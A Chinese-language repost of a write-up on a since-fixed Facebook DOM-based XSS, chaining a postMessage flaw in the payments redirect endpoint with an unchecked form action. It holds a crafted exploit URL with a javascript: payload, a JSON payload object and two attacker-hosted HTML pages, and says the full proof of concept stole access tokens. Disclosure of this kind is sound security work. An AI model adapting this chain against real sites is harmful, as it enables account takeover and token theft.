您好,登錄后才能下訂單哦!
如何使用postMessage利用Facebook中基于DOM的XSS漏洞,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。
我們發(fā)現(xiàn)的第一個(gè)漏洞將允許一名惡意攻擊者從facebook.com域名并通過postMessage來發(fā)送跨域消息。存在漏洞的終端節(jié)點(diǎn)將接收請(qǐng)求參數(shù)中用戶可控制的內(nèi)容,并使用postMessage中的發(fā)送消息來構(gòu)建一個(gè)數(shù)據(jù)對(duì)象,該對(duì)象將與postMessage一起發(fā)送到已打開的窗口。接下來,我們所發(fā)現(xiàn)的第二個(gè)漏洞跟第一個(gè)漏洞有關(guān),攻擊者可以利用這個(gè)漏洞來根據(jù)Eventlistener接收到的表單提交數(shù)據(jù)來構(gòu)造一個(gè)不安全的腳本。
存在漏洞的節(jié)點(diǎn)為https://www.facebook.com/payments/redirect.php,這個(gè)節(jié)點(diǎn)的響應(yīng)信息可以由各種參數(shù)來控制。我們發(fā)現(xiàn)的其中一個(gè)有意思的參數(shù)為“type”,這個(gè)參數(shù)如果從平時(shí)的“i”改成了“rp”的話,它將會(huì)它將使用postMessage與打開該頁面的窗口通信(如果是“i”,那么它將使用window.parent.paymentsFlows.processIFrame方法)。
需要注意的是,目標(biāo)源需要設(shè)置為our.intern.facebook.com?,F(xiàn)在,我們知道postMessage方法僅會(huì)提供給Facebook的員工使用,因?yàn)閛ur.intern.facebook.com這個(gè)域名只有他們才擁有完整的訪問權(quán),如果不是Facebook的員工,則會(huì)被重定向至www.facebook.com。
在這里,我試圖通過訪問另一個(gè)域中的同一個(gè)節(jié)點(diǎn)alpha.facebook.com來繞過這種限制。如果訪問的是our.alpha.facebook.com/payments/redirect.php,它將會(huì)返回到our.alpha.facebook.com,因?yàn)閜ostMessage中的targetOrigin設(shè)置的就是這個(gè)地址。跟our.intern不同的是,our.alpha不會(huì)重定向至www.。這里要注意,our.alpha.facebook.com域名包含的內(nèi)容跟www.facebook.com其實(shí)是一樣的。這樣,我們的消息就可以傳遞到打開的窗口了,因?yàn)閠argetOrigin條件已經(jīng)滿足,并且會(huì)將消息發(fā)送到our.alpha.facebook.com。
現(xiàn)在,我們已經(jīng)知道了我們要找的是包含了EventListeners的頁面,而它只接收消息源為accept facebook.com的消息。
Facebook Canvas應(yīng)用程序托管在apps.facebook.com上,如果你訪問了這個(gè)域名所托管的應(yīng)用程序,你將會(huì)發(fā)現(xiàn)Facebook會(huì)加載一個(gè)iframe中的URL,并向這個(gè)URL地址發(fā)送一個(gè)包含了類似“signed_request”參數(shù)的POST新消息。
通過跟蹤請(qǐng)求源,我發(fā)現(xiàn)這個(gè)頁面同樣加載了iframe中的https://www.facebook.com/platform/page_proxy/?version=X,然后用postMessage向其發(fā)送消息。
上述這段代碼主要完成了兩件事情。首先,它會(huì)利用postMessage將帶有frameName的消息發(fā)送到任何源。其次,它將設(shè)置一個(gè)EventListener并等待接收消息。如果收到了一條滿足所有條件的消息,它將在根據(jù)消息中的數(shù)據(jù)設(shè)置其屬性之后提交一個(gè)form表單。
表單構(gòu)造方法submitForm()有趣的地方就在于,這個(gè)表單中的action屬性會(huì)被直接設(shè)置為“a.data.params.appTabUrl”,這個(gè)地址是通過消息來接收的。URL中的“appTabUrl”字符串中的URL沒有檢查是否以http/https開頭,因此我們就可以使用JavaScript來實(shí)現(xiàn)利用XSS漏洞了。
接下來,我們需要再page_proxy腳本中構(gòu)造一個(gè)包含了滿足所有條件的Payload對(duì)象,具體如下所示:
https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″}
目標(biāo)用戶需要訪問攻擊者托管的惡意網(wǎng)站,該網(wǎng)站頁面中需要包含下列代碼:
<html> <button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';"> <span class="icon">Start Attack</span> </button> </html>
在這里,我們不打算直接重定向到page_proxy節(jié)點(diǎn),因?yàn)槲覀冃枰O(shè)置一個(gè)延時(shí)來確保https://www.facebook.com/platform/page_proxy/的成功加載。
<html> <script> setTimeout(function(){ window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';} ,3000); </script> </html>
這里我設(shè)置了一個(gè)三秒的延遲,然后重定向到存在漏洞的頁面中,并執(zhí)行alert(1),而我設(shè)置的PoC將會(huì)竊取用戶的訪問令牌,這個(gè)令牌將直接允許我們接管目標(biāo)Facebook賬號(hào)。
Faceboos目前已成功修復(fù)了該漏洞,他們直接將支付重定向(/payments/redirect.php)中的postMessage組件移除了,并在appTabUrl中添加了針對(duì)http/https的檢測(cè)。
看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。